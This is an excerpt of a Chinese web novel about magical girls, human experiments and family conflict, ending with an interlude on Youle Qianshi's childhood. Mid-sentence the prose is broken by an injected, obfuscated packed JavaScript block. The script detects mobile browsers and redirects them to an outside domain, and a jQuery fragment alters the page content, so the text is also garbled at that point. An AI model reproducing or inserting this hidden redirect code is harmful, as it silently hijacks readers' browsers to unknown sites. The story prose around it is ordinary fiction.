“那么现在你又要怎么解释你的个人行为呢?姐姐?”犬山汐温和地问。 “…我只是想去确认一下。”犬山山白的声音轻了很多,“最近发生的事情与我之前经历有关,所以我想起了很多东西,也想了很多东西。所以最近我老是走神,不确定什么就没办法安心下来,这件事我没办法和你说的。” “什么事情?”青年依旧温和地问,如同在唠家常。 “大概就是,我是什么,这样吧。”犬山山白说。 她站在那里,却又并没有停留在那里,她看上去想去别的地方。 “…你是犬山家族的家主,是暴力的领导者,是我的姐姐。”犬山汐平静地说,“这些答案足够了吗?你不需要别的答案了吧,也不需要再走神了。” 有社会与家人的承认,犬山山白不应该继续对自我感到迷茫才对。 “真的是这样吗?”犬山山白的声音却是困惑的,“这些人并不是我吧,这些人是谁都可以,但我只有这么一个。我或许今年就会死,也可能是再三年后,这些身份所带来的责任我会一直尽职的,但我不该在这里,我知道。” 有谁在叹气,没人认领。 “…你。”犬山汐忍不住朝犬山山白走上前了一步,语气也没那么温和了,“你想去哪里?这里不比那个训练室好?你根本就没有那些存在所具备的力量,你只是个普通人,除了特别强壮以外,你没有特别之处。” 【这句话我不敢苟同。】森山寺未雅表达不满。 “这一点的话教练她不也一样吗?她可从来不说自己是普通人。”犬山山白笑了,“啊不过最近她好像也变得不太一样了,是因为潮流趋势吗?” 【她的教练是有乐千实,与那些天使一同接受过训练。】森山寺未央迅速理解了这件事。 “那你觉得,你是谁呢?”犬山汐几次张口,最后只是把这个问题交给了对方。 “她异化了,我没有,她的各项体征与我的也不一样,我不是那些试验品。”犬山山白思索着说,“我又不太像个人吧,大家也都说了我‘不是人’什么的。但我也不是那些实验成功的存在。” 犬山汐看着犬山山白,那拥有超人之姿的存在,仅仅是站在那里就在诉说着她的异于常人之处,但看着这幅身躯的存在是毋庸置疑的普通人。她们是姐妹吗? “我想,我大概是恶魔吧。”犬山山白咧嘴笑了。 “…什么?”犬山汐不明所以地反问。 “我杀死了很多人,又用言语驱使那些人购买我们的产品,而且强大到被普通人视为怪物,我一出场所有人的表情看着都很有意思!”犬山山白说的头头是道,“我一定是恶魔吧,那些成功的实验体不也自称天使吗?” 【还挺合理的。】森山寺未央点头,【那代号要用重量单位吧,她要改名叫牛顿吗?】 【…你别逗我笑。】森山寺未雅憋住了。 【你还真过分啊!我可是认真地在思考的。】森山寺未央生气地说。 “…哈。”犬山汐叹了口气,笑了,“哈哈哈——” 到底是被对方的话语逗笑的,还是嘲笑,还是说只是觉得谁可笑呢?那样的笑声回荡在风中,犬山汐回旋踢中犬山山白的膝盖,对方没有躲。 “一天天的尽说些没人听的话,你又看了什么书?还是说这次你去看动画片了?”犬山汐问道,“没人和你说过这种话说出来会让别人笑吗?现在我告诉你了。” “没人敢笑我的啦。”犬山山白声音有些苦恼。 “那无论怎么样我都会笑你的,因为我是你妹妹,这是血缘决定的,至少在我死掉之前你是当不上恶魔了。”犬山汐温和地说,“拜托你下次有这种奇思妙想之前和我说一声吧,姐姐?” “嗷,好吧,我会说的。”犬山山白摸了摸自己被踢的地方。 “你的防护服呢?”犬山汐问道。 “在这里!”犬山山白迅速抖了抖那一坨衣服,“我收好了哦!” “谁让你收好了?这玩意你不穿那我给你改了干什么?”犬山汐问道。 “这个好紧啊,而且我觉得我不需要这个。”犬山山白说道。 “穿着吧。”犬山汐微笑着说,“紧一点还能让你在做这些蠢事前想想前因后果。” 二人一边争吵着一边走远了,一高一矮上了车之后离开了南流港园区。 “居然真的是亲生的啊!”森山寺未央非常惊讶于这一点,“不过就那些人体实验而言,这个血缘是否是天生存在的还有待商榷。” “不过确实是挺有用的就是了。”森山寺未雅笑了。 湛的结界彻底消散后,朗朗蓝天笼罩城市,魔力构建出的残骸消逝,三人所在的位置回到了瞭望塔的电梯口,一切如常。 犬山晓的状态恢复了正常,她看向启明星的背影,那些话她也听到了。但启明星肯定比她听的更清楚,也想的更多,所以即使她有心想问些问题,却也没有在这个时候开口。 六十七号依旧躺倒着,他大概是睡着了,整个人一动不动。 启明星转过身,她看向犬山晓的双眼是平静的,一如既往。 “在她的结界里时,我的右眼看不见任何东西。”她的声音依旧冷静,“现在它所捕捉到的景色依旧是原先那些,但这大概只是个时间问题了。” 说罢,她闭上了右眼,毕竟眼罩已经遗失在了那个红色的空间之中。 “恭喜,我应该这样说吗?”犬山晓看着启明星说,“以及谢谢,感谢你能帮助我。” “…晓,那是必然的选择。”启明星摇了摇头,笑了,“结束了,从现在开始,我要考虑新的工作问题了。” “哈哈。”犬山晓笑了,“还真是匆忙,不考虑放个假什么的吗?” “做自己感兴趣的事就不算劳碌。”启明星说,“不过能拜托晓帮忙把他带去事务所原先位置的大堂休息吗?” “当然,交给我吧。”犬山晓点头,“那你现在准备去做什么呢?” “去准备新的求职简历吧。”启明星顿了顿,说,“路上的散步时间就当作是休息。” 犬山晓没对这种行为说什么了,她回头扛起六十七号,与启明星道别之后离开瞭望塔区域,朝事务所地址奔去。 而启明星也在思索了一会之后离开了瞭望塔区域,不急不缓地,似乎是真的在散步一般地朝前方走去,她有目的地,但也可能不知道那是否是她的目的地,但她没有犹豫。 瞭望塔外,晴空之下,有一位老者在街道上停留。她头发花白,老去这一症状让她显得格外可怜,即使那现代化的机械轮椅是她的座驾。在发现启明星后,老者的轮椅带着其主人朝目标移动。 启明星确认,自己之前从未遇到过这样一位老人。这幅轮椅如此高调,她若是见过一面总不可能忘。难道说是来瞭望塔参观的游客吗?启明星这样想着,朝那停顿在她身前的老者露出了微笑。 “您好,市瞭望塔今日不开放。”启明星有礼地问好,随后准备询问其来意并将其引导向市警察局。 但是那老者怔怔地看着启明星的脸,她的表情如此专注,瞳孔如此有神,让她的苍老没能追上她的精神分毫。启明星意识到,对方确实是来找自己的。 “你,你的名字是。”老者顿顿地说,她的声音有些哽咽,又像是因为没气。 “…我的名字是启明星,老人家。”启明星有些疑惑于对方的来意和身份。 “你的名字是,启明星?”那老人咀嚼着这个名字,微弱的声音中充斥着不可置信,启明星发现这一点,却也更加疑惑了,并且警惕。 这份疑惑混杂着今日的经历,让启明星顷刻间忽然产生了荒谬感,这个世界对她而言变得有些陌生又奇怪了起来。 “是的。”启明星试图纠正这一点。 “不——”那老者迅速地回应,声音仓促,更像是在抢答,“你的名字不是启明星,不,你不能是启明星,你不是。” 老人发了疯,启明星心中确定这一点,便准备离开了。但那老者见到启明星这幅态度,以一种混杂着悲伤与决意带来的巨大力量支撑起了上半身,她胳膊上的骨骼即使有皮肉覆盖也清晰可见,那是肌肉流失的证明。 她支起自己的上半身,前倾,抱住了启明星。 那是一个力度不大的,小心翼翼的,颤抖的拥抱。启明星在疑惑之余能感受到的只有消毒水和血腥的气息,她看到不远处有人影朝这里走来,那应该是老人的同行者。 “我知道的,你喜欢的东西我都知道。”老人的声音颤抖,她在哭泣,“回到我的身边吧,我什么都可以带给你的,你不该成为另外一个人的,我的朋友。” 启明星不知道该说什么,她的思绪带给了她一个过于不可思议的答案,随后她的大脑因这个答案陷入混乱之中。那老人的同行者走近了,模样并不陌生,那是今早炸了她事务所的罪魁祸首有乐千实,也是她们的目标之一。 那毫无疑问是值得警惕的对象,但启明星却一时不知作何反应。她会杀了我吗?启明星这样想着,与有乐千实对视。 “…原来如此,她死了。”有乐千实的声音是沙哑的,她闭了闭眼,不过三秒又睁开,胸口衬衫上的血渍证明她受过伤,“恭喜你,启明星。” “她不是——”那老者忽地抬起头,苍老沙哑的声音宛如临死前对生的挣扎,辩解着什么,“她,她可以回来的,她可以的。” 启明星感受到自己胳膊上握住的双手逐渐用力了起来,老人用不符合她年龄的力度握紧了双手,企图留下什么,她抬头,看着启明星,那张沟壑纵横的脸上被眼泪淹没。 一个老人如何能流下这些眼泪呢?那枯瘦的躯体与干涸的灵魂如何能酝酿出这如泉水般涌出身体的感情,启明星无法理解,她不知道从何开始理解,重要的线索缺失了。 有乐千实走上前,分开了老者与启明星,动作轻缓地将老者放回了轮椅之中,她没说什么,老者还在试图伸手抓住启明星,甚至整个人前倾到近乎要跌出轮椅。 在那感情与思绪的风暴之中,启明星无处可去。 “呕——”她因眩晕感而发出了呕吐声。 于是那老者安静了下来,即使双眼一直没从启明星身上移开,也一直没有停止流泪,但她没有再动,也没有再说话了。有乐千实推着轮椅转身离开了,启明星不知道她们要去哪,也不敢去追。她停留在原地,许久之后,在一旁的长椅上坐下了。 血与消毒水的味道连同眼泪和灰尘一起让她狼狈不堪,但现在这些都无所谓,她想休息一下了。 余光的一角,有乐千实推着那明显不需要谁去推的轮椅消失在了街道末端,那老人突兀地笑了笑,收回了目光和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808011|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 其它东西。 东流港港口码头区域上下客区,往常人声鼎沸的空间因缺少服务人员而显得空旷,但不至于寂静。不远处机械不时传来阵阵轰鸣,海鸥偶尔停留,更多时候是鸣叫着高飞,绳索拉紧与铁器碰撞的声音来自码头的下沉区域。 海水侵入这座城市的凹入口处,工人与商人围绕着这怀抱状的地形在百余年前建起最初的码头,那是仅有些许渔船和货船使用的停靠港,在进行补给之后或是离开或是沿着运河往城市深处前进。而在近百年间,现代商业化与这座城市的特色让这处怀抱港湾焕发了新的生态。 湾连着海,界定湾与海的界限的工具却是法律,自然如何守法? 不远处,海浪缓和,在层层叠叠的起伏中,一辆小型汽油动力艇缓缓停靠在因工人的行动而短暂失去效用的停靠站。船长,也是唯一的水手是一位青年人,海风雕刻了他的脸。 小艇等待的客人只有一位,那是帮助这座港湾的入侵物种在城市内大肆生长的帮凶,是自上世纪初一直存活至今的苟延残喘的长命者,是商人,最初也是以劳动证明自身价值的工人。他的名字是天不渡真寅,历尽劫难,如今依旧残存于世。 再波澜壮阔的一生放在未起风浪的大海前也是不值一提的,天不渡真寅看着黑灰色的水,他看过这洋流如有生命般的蓝色,也知道其是如何在他这漫长的一生中与他一同褪色,一同沉入了太多的生命,变得沉重而咸腥的。 亦或者这些只是一个垂暮者的一厢情愿吧,天不渡真寅自嘲,从隐藏处现身,走向那处小艇,走向船长。 “都准备好了。”船长开口,声音夹杂着烟草的气息。 天不渡真寅没有说什么,他的衣服被海风吹得鼓起,那副骨架是唯一能支撑他站在这里的东西。除此之外一切都不存在了,他心知肚明。他的家族,财富,地位,家人,甚至不久之后这个名字也将被他舍弃。 “…都准备好了。”天不渡真寅开口,他的声音夹杂着对活下去的渴望。 “我只负责带你去岸口。”船长说。 “其它的什么也不是你能做到的了。”天不渡真寅说,“我会活下去的。” 船长没说什么,他摇了摇头,转身上了小艇的驾驶舱,留天不渡真寅在岸上看这座城市最后一眼。天不渡真寅回头,却看到了一个人。 那是一个与这里格格不入的人,她的金发也好,服装也好,姿态也好,都不适合这里。天不渡真寅偏偏知道她为什么在这里,也知道她是谁。 “天不渡真寅,你想逃走。”艾克里普开口,她也知道。 天不渡真寅什么也没说,他眼里本就不多的光一点一点暗下去,但随即燃起的是对活下去的渴望。 “…我只是一个老头子,活下去也兴不起风浪了,那些东西都不再属于我。”天不渡真寅干哑着声音开口,他尽量大声,但海风声音更大,“你来杀我,是因为亚贝琉家族那群人做的事情,对吧?” 艾克里普没有说话,她看着眼前人因为想活下去而燃起的欲望,只觉得恶心。 “杀了我是没用的!”天不渡真寅尽力嘶吼,“那个家伙的眼睛到处都是,她只是暂时停留在这里而已,我知道,我知道她的一些据点,不仅仅是实验室据点,也有化工厂据点。你见过那些怪物了吧,会说话的,不会说话的。难道你认为只有那家医院是她们的据点吗?错了!那家医院不过是疯子的监狱而已,捕获的生命远不足够满足她们的野心。” “…她们想做什么?”艾克里普问道。 “我不知道,我可没那个资格。”天不渡真寅颤抖着声音说,“但我有资格知道那些据点在哪里,我活得太久了,知道很多东西。” “告诉我。”艾克里普说。 “当然,我当然可以告诉你,你就该是为此而来的。”天不渡真寅颤抖着笑了,“而不是我这条毫无价值的命,对吗?” 艾克里普没有说话,眼镜与发丝遮住了她的视线。 天不渡真寅不敢再说什么,颤抖着将早就准备好的,他最后的价值,一个巴掌大的记事本交给了艾克里普,她接过,没有看。 “你可以离开了。”艾克里普说。 天不渡真寅一愣,随即欣喜若狂,他什么都没说,转身用他那与年龄不符的速度冲上了小艇。船身略微下沉,随即马达声取代风声震耳欲聋。 随后,黑光闪过,一个圆形的虚空之洞出现在游艇的位置正下方,吞噬了整个游艇和部分海水后消失了。海浪声回来了,海鸥不知道发生过什么,鸣叫着飞远。 艾克里普看着海浪,低头注视记事本的封面,是东流港的地图简笔画。她并没有因为天不渡真寅的死亡而感到轻松一些。这对她而言实在是个再简单不过的任务,但她真正该做的事情还有许多。 例如将这些据点销毁,例如确保她朋友们的安全。好在在今天过后,这座城市中能威胁到她们的存在都应该尽数消失了,湛死去之后,天使不再有指挥官。 所以,艾克里普需要做的事情就只剩下这些据点的销毁任务,这是因为她的疏忽而产生的问题,她必须尽快弥补。 忽然,夜藤事务所的身影出现在了艾克里普的脑海里,她心下一空,但也很快有了决断。事务所的防护设施不可能出现异常,那么将其找回就只是时间问题。但眼下销毁据点的事情却是不能再拖下去的,以及,说不定在解决这件事的过程中,她也能找到相关的线索。 毕竟她运气挺好的不是吗?想到这里,艾克里普终于能露出一个笑容。 巨大的地下空间内,有乐千实推着一台轮椅前进,周围的一切都是冷而暗的,通道挑高近十米,钢筋撑起重量。 这台轮椅是她设计的,其中记录的人工智能也是,于是她清楚此时这样的行动是绝对的多此一举。但之前她答应过要送这位老朋友最后一程,那么此刻,形式主义难得地被她接受了。 老者的声音在通道内回响,絮絮叨叨,反反复复。 “没错,只需要略微的纠正而已,这种情况是常见的,说到底她们是一个人,那么可能性就绝对存在。”老者欣喜地解释着什么,也不顾有乐千实一直没有说话,自顾自地一直说下去。 通道长到似乎没有尽头,但二人都没有因此而犹豫。 不远处,有谁等在那里,那是一个身量纤细的青年,垂头站着,没有因为声音而抬起头。她的身上穿着手术服,没有头发,眼闭着。 “仑目和居里也结束任务,已经回归了。”青年忽然开口说道,她说话时一字一顿,所以非常地慢。 “辛苦了,伦琴。”有乐千实说道,伦琴点头,起身跟在她的身后,与轮椅一起前往通道的更深处。 老者一直在说些什么,仿佛是要将没能说出口的话在最终时刻到来之前一股脑地全部告诉身边的两个人。但她的热情注意让旁人忽视她身上衰老的症状,她的声音欣喜,描述用词也带着好奇与善意的渴望。 二人听着,不置一词。 通道终于有了尽头,黑暗中,潮湿与血腥气息涌动,那是血湖。 伦琴走上前,站在湖边没有动。 “千实,你准备好了吗?”老者回头,笑容喜悦地看向有乐千实,仿佛在询问对方是否准备好前往乐园一般。 但这里没有乐园,广阔的黑暗与无边的血色让这里除温度之外有如地狱一般。 有乐千实看着老者,她嘴里的鲜血溢出,上半身已经被血色侵染了。内脏受损导致的咳血从她进入通道开始就再也没有停下来过,她一直没有说话也有这方面原因,她即将死去。 “哎,我今天出门什么也没带,你自己用袖子擦擦吧。”老人无奈地说。 “…咳咳。”有乐千实皱眉,清了清嗓子里的血,开口说道,“我会见证你所说的一切。” 老者笑了,她转头看向血湖,黑暗之中她的眼里亮着光,仿佛这片以生命填充的湖水中藏着只有她自己能看到的星星。她就这样看着,等待身后二人倒下,说些什么,随后气息不复存在,这片空间中最后只剩下她与她苍老的身躯。 老人支撑着自己,艰难地站了起来,她的双腿肌肉无法支撑她行走,但那巨大的热情驱动了她的骨骼与神经。 于是,她走向血湖,张开双臂,掉了下去。 这一天,有乐羽生与母亲终于得以坦诚相见,虽然过程曲折,但她们彼此终于接受了自己的亲人就是这样的一个人。她们还有更多的问题需要一一解决,但有问题可以解决总好过毫无头绪,至少有乐羽生本人是这样想的。 这一天,森山寺姐妹解决了城市中可能爆发的多起危机。她们为彼此和自己感到自豪,她们会一直相信彼此,并以此为基础往前走。即使在多方面依旧有所欠缺,她们已经拥有了无论什么情况都能往前走的勇气。 这一天,犬山晓帮助启明星彻底解决了城市中隐藏着的部分祸患,也对于未来产生了好奇。她明白自己的未来会有无数条路可以走,会有朋友在她身后,这样的话哪怕是不小心做了错事她也能第一时间发现并纠正。至少,她已经不再害怕问问题了。 这一天,艾克里普难得地准备开始一场长途旅行。她依然谨记阿尔卡纳国王对她的教诲,在这个基础上,她开始考虑自己的未来与城市的未来。她会一直作为这个城市的守护者生存下去吧,但与此同时,她也是她自己。 她们一开始许下的愿望都实现了吗?她们许下的愿望是什么来着? 犬山晓许愿说:我想要幸福地活下去! 那么以现状来看,犬山晓哪怕面临任何困难,任何疑问,她都可以接受并且拥有足以面对困难的勇气,她可以再次抬头看向她的月亮,并对其进行感谢。她的未来会获得幸福与否还是未知数,但她已经拥有了让她能够看清走向幸福的道路必须的那道光。 森山寺未央许愿说:我想要我的姐姐获得幸福! 那么以现状来看,无论是森山寺未雅本身,还是她所期望的,自己的妹妹本身,二人都拥有了足够的勇气去面对任何可能会发生的未来。无论是死亡,疾病,亦或者是分离,都无法将勇气从她们身上剥夺,因为她们绝不会失去对彼此的信任。 有乐羽生许愿说:我想要自由地活下去! 那么以现状来看,这其实还是有些困难的吧,毕竟她的母亲实在是一个难缠的存在。但最初的,也是最重要的一步已经迈出了。有乐羽生已经拥有了做出任何事的底气,因为她已然是一个坦诚的,真实的人。她能够以绝对真实的自我面对未来和任何困难。 艾克里普许愿说:我要守护这座城市! 不对,这不是她的愿望,她从未将这句话作为愿望宣之于口,不因许下这个愿望而变成魔法少女,也不因这个愿望而获得任何东西。 79.间奏-有乐千实,利奥拉与湛 不少相关人士都知道有乐千实是有乐千奈的妹妹,例如她们的同事,例如部分好事之徒。但这一事实也并非是非要宣之于口才能被发掘的真相。即使有一定的年龄差,五官与一些举手投足间的相似都可以证明二人用血缘连在一起的关系。 曾经赋予她们二人姓氏的有乐家族已经不再有被刻意提起的价值了,于是少数人才明白,她们二人并非是亲生姐妹。有乐千奈带着有乐千实离开了家,也离开了她的母亲。 “才五岁时,她就有远超那些腐朽之人的远见与思想。”有乐千奈是这样说的。于是,选择自愿跟着她离开的这一选择,也是她眼里有乐千实值得被赞叹的一点。 二十多年前,有本事的年轻人哪怕带着个小孩,在城市中总有活下去的办法。有乐千奈又是特别善于找到办法的那种人,她带着有乐千实度过的贫困时间并没有太长。她为自己那聪慧的妹妹安排了当地最好的学校,教导她自己的经验所得,告诉她自己会给予她全新的,以前绝对无法想象到的未来,也做好了绝对符合这一说法的计划安排。 有乐千实小时候就是个思想逻辑敏捷的孩子,她在哪里都能很快就适应当地的环境,学习新的知识,并举一反三将学到的知识用于推导自己的未来。她将自己见证到的一切都记住并进行思考,无论是走向衰落的老家也好,繁碌拥挤的市井也好,规则严明的学校也好,她都能如鱼得水一般地生存下去。 是的,生存,有乐千实认为自己过去的一切只是为了生存而已,毕竟那些并不值得去着重强调。即使只是生存,她也是做的最好的那个,无论发生什么事情她都能生存下来,无论发生什么,只要她生存了下来,她就能学到新的东西。 有乐千奈教导她,她这样聪慧又有决断的孩子无论如何都会有光明的未来的,她作为姐姐,也会保护好她,并且履行带着她见证那不可思议的未来的承诺。 她这样说,有乐千实就相信,并对这样的未来抱有巨大的期待,在这样的未来到来之际,她相信自己将获得真正的,属于自己的人生。 于是,在有乐千奈带着她搬入新家,也就是有乐宅之后,有乐千实认为属于自己的人生终于要正式开始了。有乐千奈并非她的母亲,却也给了她新的人生,在这一点上有乐千实从未忘记过感激之前,并且发自真心地敬仰自己的姐姐。 与此同时,她也对未来抱有更多的期待,这是理所当然的事情。 所以在有乐千奈选择走入婚姻时,有乐千实虽然不理解,但也相信这份婚姻绝对会是姐姐思考再三之后的选择,她明白自己的姐姐并不是一个满足于现状的人,她信任这份野心。 但这份信任在有乐千奈告诉她,自己怀有身孕之后,出现了裂痕。 “你有什么重要的事想和我说吗?”那天的夜里,有乐千奈向自己一言不发的妹妹发出这样的询问,她发现自从自己告知怀孕这件事之后,家里的所有人都纷纷道喜,除了自己的妹妹有乐千实。 善于批判的孩子一旦沉默下来就非常显眼了,虽然她平时就足够突出。有乐千奈自认为有乐千实并非一个完全成长的人,有想不开的问题很正常,她是个好姐姐,会主动询问对方并提供解答,以及必要的帮助。 但这一天的有乐千实却是有些奇怪,她坐在自己房间会客区的座椅上,只是坐着,没有在阅读或者写东西,她的神态也并不严肃,头垂着,头发也乱。 难道是因为我选择生育这件事让她产生了对自我在这里的价值的怀疑吗?有乐千奈这样想着。但她认为在自己长期的思想教育之下,有乐千实是不可能产生这种对自身的怀疑的。于是有乐千奈又想,那难道是怀孕这件事对青春期孩子的冲击?这样的可能性反而比较高。 于是在有乐千实的嘴唇蠕动着的时刻,有乐千奈对自己的想法道出了回复。 “你们的学校没有把生理卫生列入必修课吗?”有乐千奈决定这两天找个时间去学校确认这一点,拿出记事本将这件事记下了,“若是这件事让你感到不安或者困惑,那是不正常的事情,你需要学习这方面的知识了,千实。” 有乐千实看下那个记事本,眼神终于得以聚焦。 “…怀孕并生育,整个过程对女性身体来说是致命的,即使抛开这一可能性,大量的后遗症和过程中的精神消耗都是不可避免,甚至不可恢复的。”有乐千实说这些话时双手握拳放在膝盖上,掩盖指尖的颤抖。 有乐千奈有些惊讶于妹妹的关心,但却也对其中的质疑感到不快。 “我会不了解?”她反问道,随即看向有乐千实的头,“说话的时候抬起头。” 于是有乐千实把头抬了起来,眼神却依旧是犹疑的。 “为什么,你会想生育后代?”有乐千实问道,她的声音并没有什么波动。 “我不是和你说过一次了?”有乐千奈反问,但还是回答了,“答案是家族,我要组成属于我自己的家族,由我选择的家人,我孕育的后代,并由我来教育。” 直白的想法,直白的目的,有乐千奈不觉得还有什么需要解释的了。 但有乐千实却是完全不能理解。 “可是你又无法确认你生育的后代就绝对符合你的预期,在这样巨大的不确定性面前你还是选择了风险巨大的生育行为,你,你不觉得矛盾吗?”有乐千实仓促地组织着语言,她的脸色在暖光下依然不好看。 “注意你的用词和体态。”有乐千奈不满地说,“我有我的决断,也有控制这些可能性走向的自信。反倒是你,千实,你到底是在不满什么?为了什么而露出那副样子?” 她语气里的责备让有乐千实顿住了一瞬间,但也就是那样而已了,她看向自己的姐姐,脸色仓皇无措,仿佛看着被卷入手扶电梯夹层中的玩具的孩子一般。 “抱歉。”她用干哑的声音道了歉。 “下次注意。”有乐千奈说,“无论你是在担心什么,都是多余的。无论何时我都会是我自己,而我许诺给你的那些东西也都不会改变的,你不该怀疑我。你的未来会是光明的,我从来不对这样的结果抱有怀疑。” 她的语气如此笃定,有乐千实却是无法被安抚的。因为目标不对,安抚的目标不对,有乐千实确实是在为未来而忧虑,却又不是仅仅属于自己的未来。 “但是,姐姐,你的未来又怎么办呢?”有乐千实问,“你的家人不能是我,以及那个男人吗?有了孩子之后你还能这样以自己为前提进行思考吗?你还能保持自我吗?你还能像以前那样,无论在什么环境之中都能生存下去吗?” 有乐千实担心有乐千奈的死,无论是哪种形式。 “…你在说些什么?”有乐千奈的声音沉了下来,她一直明白自己的妹妹并非顺从的孩子,这也是她能力的一部分,她们没少产生争吵。但此时她感受自己被质疑是因为自己被视作了弱者,而这样的原因是因为她选择生育。也就是说,因为她的选择,她被视作为了弱者。 于是有乐千奈暴怒,二人产生了争吵,并不剧烈,因为有乐千实反常地一幅心不在焉又虚弱的模样,却也更让有乐千奈生气。 “说到底这是我的家,我的选择轮不到你来质疑!”有乐千奈近乎是在威胁了,“想想我为你的付出,想想我为你安排的未来,想着这些东西你为何还有胆子质疑我?” “…那样的未来又如何呢?”有乐千实却并不为之动容,“无论在哪里我都能生存下去的,你说过带着我离开是要让我见证我无法想象的未来的。而不是最优良的生活和最好职业或者大学!现在的你还做得到吗?” 但在这话落下时,有乐千实就意识到,她真正想传达的东西绝对没有被好好地说出口,有乐千奈也绝不会听见,也不可能理解她。 “你到底是还有哪里不满意的?”有乐千奈问道,她的疑惑与惊怒是不加掩饰的,“你若是对我安排的未来有异议的话,大可直截了当地说出来,而不是谈论这些意义不明的东西。” 有乐千奈感到疑惑,她确实为有乐千实的语句感到愤怒,但更多的却是疑惑:她在说什么?为何她是这幅模样? 而这些答案有乐千实却也是不明白的。 “…你变了。”她说,随后站起身来,跑出了房间,跑出了屋子,跑出了庭院,一路沿着小路跑,不知目的地,只是追逐着一个又一个路灯下的光点。 而看着对方离开的有乐千奈只是一言不发地坐着,并告诉侍者今晚让安保人员不要锁门。 夜里下着雨,并不是多大的,会让人感到恐惧与退缩的大雨,但有乐千实跑得很快,那些雨滴被她主动迎上额头与肩膀,些许流进她的嘴角和眼睛,雨的气味是生的。她一路上尽可能地跑,跑不动了就走一会,喘过气来了就继续跑。 路途的距离和方向失去了意义,但她总归是累了,她抬头,不远处的一处公交车站亮着灯,也有个挡雨的地方,她向那里走去,克服了自己内心对软弱之意感到的屈辱。 看路牌,公交车站所在的区域大概是有乐家往北五公里左右的位置,并不是她熟悉的地方。但这也意味着她确实跑了很远,很久,离家里也很远了。但这样的距离只需要等待公交车停在这个车站,她上车,再于车上摇摇晃晃地等待过10多分钟就没有了,她甚至不需要付车票钱。 这想法算什么?对游乐设施的时长感到不满吗?有乐千实心里自嘲道。 车站外的雨声变得吵闹了,仿佛淋在她的身上一般,潮湿的感觉沁透了她的神经末梢,没有沐浴的舒爽,只有如跗骨一般粘稠执着的冷与痒,有乐千实感觉非常糟糕。 是的,太糟糕了,即使她尽可能冷静地分析自己,却也只能得出这样一个结论。她感到浮躁,无法控制自己的情绪,若是放在以前她总归能好好地与她的姐姐探讨自己的问题的,而不是这样情绪化地只顾说自己想说的,到头来却也什么都没好好说。 再加上头莫名其妙的疼,肚子也莫名其妙的疼,那种隐约的坠痛感似乎并非来源自胃部,而是更加与神经末梢不相关的器官,是更加原始,本能性的疼痛。 等公交车来了之后就坐车回家吧,有乐千实这样决定了,但也没有起身去确认时刻表,她知道这辆车半点一辆。 在有乐千奈还没有富裕到能雇佣司机的时候,她偶尔也会坐自己姐姐的车去上学,偶尔也会坐公交车。在以前的有乐家她反而是没机会坐公交车的,她的母亲并不会开车,父亲也不会带她出门。 所以大多数情况下是步行,是现在看来长到对于一个孩子来说可以说是负担的步行。但小孩子大多数情况下对自己身上发生的一切是没有准确的认知的,有乐千实也是,她想要抵达目的地,所以步行对那时的她而言就不算是一种负担。 但也是那长到没有尽头的道路让她遇到有乐千奈的,名字只有一字之差,年龄却大了15,她牙还没长齐的时候有乐千奈就可以在家族会议上指着长老的鼻子骂,然后被一群人训斥到不得不离开会议堂了。 那时的有乐千奈,恐怕就已经开始想要一个只由自己控制的家族了吧,有乐千实心想。 雨还在下,公交车也会迟到,从候车亭到公交车前门免不了要淋雨,而有乐家离最近的公交车站也有一定的距离。至少有乐千奈不会因为发烧而训斥自己吧,有乐千实这样苦中作乐想。 漫长的雨中,有车辆停下的声音打乱雨点,比公交车轻许多,有乐千实不用抬头就知道是有人趁着公交车道空闲的时间擅自在车道上停留了,通常情况下只是暂时的,交警也懒得管这种模糊的违规行为。 车门打开,有雨伞撑开的声音,是一把长伞吧,随后那人的皮鞋踩在有水覆盖的马路上,走上台阶,来到公交车站内。或许是伞挡去了部分雨的声音,随着那人的靠近,有乐千实觉得四周逐渐变得安静起来了。 那人把伞收了起来,直接坐在了她的身边,一股消毒水的与隐隐约约的血腥味夹杂的气息笼罩了她,带走了雨的生味。 “原来你这个时候长这个样子。”冒昧的人发话了,有乐千实感受到了视线,却也不是很想搭理这个奇怪的人,“原来如此,原来如此,也不是很难认出来嘛。” 这样一幅自来熟的语气让有乐千实偏过头去确认来者,但无论她怎样回忆,都只能得到这个人不存在于她过去的回忆中,这一答案而已。 这是一个身穿黑色风衣的白发老者,看模样大概是50岁左右,肌□□态与头发稍显老态,但精神状况良好,一双被纹路包围但更显有神的眼饶有兴致地打量着有乐千实的全身上下,包括她还在滴水的发丝和被水沁透的鞋。 这个人认识我,而且是为了我而停留在这里的,有乐千实不可思议地确认了这一事实。 她自己都不知道自己怎么能跑到这里来,除非此人一路跟踪自己否则应该不知道自己在这里。但此时离她离家已经过去了许久,她实在想不出,这样一位老者是为了什么而跟踪自己。 “…你找我吗?”有乐千实开口问道,她的声音沙哑得让自己都意外。 “找你。”老者笑着点头了,与年纪不相符的,真诚的笑容。 然后呢?有乐千实因为疑惑而打起了一些精神。这个人不说原因或目的,总不能她的目的就是找到自己吧?有乐千实不由得因为这个想法感到可笑。 “只是这样说的话就有点像是跟踪狂或者私生饭,啊对的是这样说的来着。”那老者却是自己笑了起来,脸上的纹路与她的白发一起颤动,让有乐千实看了过去,那是头发失去色素之后发白的结果,与有乐家天生的银白发并不相关。 那老者笑了一会,又继续说道,“是你自己告诉我,你这个时候在这里的,千实。” 这是过于不可思议的话语,是过于不可思议的事实,有乐千实不相信这句话出自她之口,可此刻,她们二人就存在在这里,佐证着这句话的真实性。 “我,告诉你的?”有乐千实重复了一遍,“我告诉你,我会在这个时间,出现在这里的?” “就是这样了。”老人说,她依旧笑着,“你说过这是一个十分糟糕的夜晚,你淋着雨冲出家门,手机雨伞什么都没有拿,沿着街道跑了很久,最后在这个公交车站停下了。” 没有出错的地方,有乐千实心想,她在思考,却又无法真正地去思考些什么有用的东西,因为一切都是不可思议的,未知的,这个老人也好,她说的话也好,这个忽然就明亮起来的候车亭也好。 